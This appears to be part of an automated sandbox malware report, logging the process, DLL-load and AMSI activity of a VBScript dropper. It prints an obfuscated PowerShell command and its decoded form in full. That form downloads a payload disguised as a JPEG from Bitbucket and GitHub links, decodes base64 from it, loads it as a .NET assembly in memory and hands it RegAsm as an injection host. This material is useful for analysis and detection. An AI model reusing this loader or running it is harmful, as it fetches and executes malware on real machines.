#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.SmniiFI/niam/sdaeh/sfer/ann/AKISEAWUEJI/moc.tnetnocresubuhtig.war//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kdscli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1419702608.000001CFCE2EB000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: WScript.Network");IWshNetwork2.ComputerName();IWshShell3.Run("powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#", "0")
Found suspicious powershell code related to unpacking or dynamic code loading
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: $codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#
Suspicious powershell command line found
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#B